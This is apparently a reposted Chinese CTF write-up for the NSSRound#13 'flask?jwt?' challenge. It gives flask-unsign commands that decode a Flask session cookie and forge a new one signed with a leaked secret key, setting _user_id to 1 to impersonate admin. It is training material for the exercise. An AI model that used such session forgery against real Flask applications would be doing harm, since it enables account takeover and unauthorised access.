NSS [NSSRound#13 Basic]flask?jwt?

NSS [NSSRound#13 Basic]flask?jwt?

开题

image-20240722191356667

image-20240722191410241

注册一下

image-20240722191549891

要admin才能拿flag

image-20240722191605582

看看是如何进行身份验证的

是flask session

flask-unsign --decode --cookie '.eJwtzjESwyAMBMC_UKfghJCEP-MRICZp7bjK5O9xkX6L_aR9HXE-0_Y-rnik_TXTlsiXEhUXleKGGGuG1jbmogrCEmNirZ7BEB-VJbTfIi-26hQDvWFyzsFdIdHMTYgROayNkqGlUs1Yzh2CojaBzlYmm1houiPXGcd_k74_WpMthA.Zp5C_A.O2TQEvcblnODCPckOFz4M63OVvE'

image-20240722193129877

找一下密钥,在忘记密码功能处找到了。secretkey: th3f1askisfunny

image-20240722192001796

伪造一下,_user_id改成1

flask-unsign --sign --cookie "{'_fresh': True, '_id': '2af7223a6763a81ecfde759cdf25121f6842475a01416ac546e7be750f485a2ec1b91d400e4b716e98a86241e0e89c3017352501fa4b161378d11b483d4868e7', '_user_id': '1'}" --secret 'th3f1askisfunny'

image-20240722193209715

image-20240722193203613

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/140700503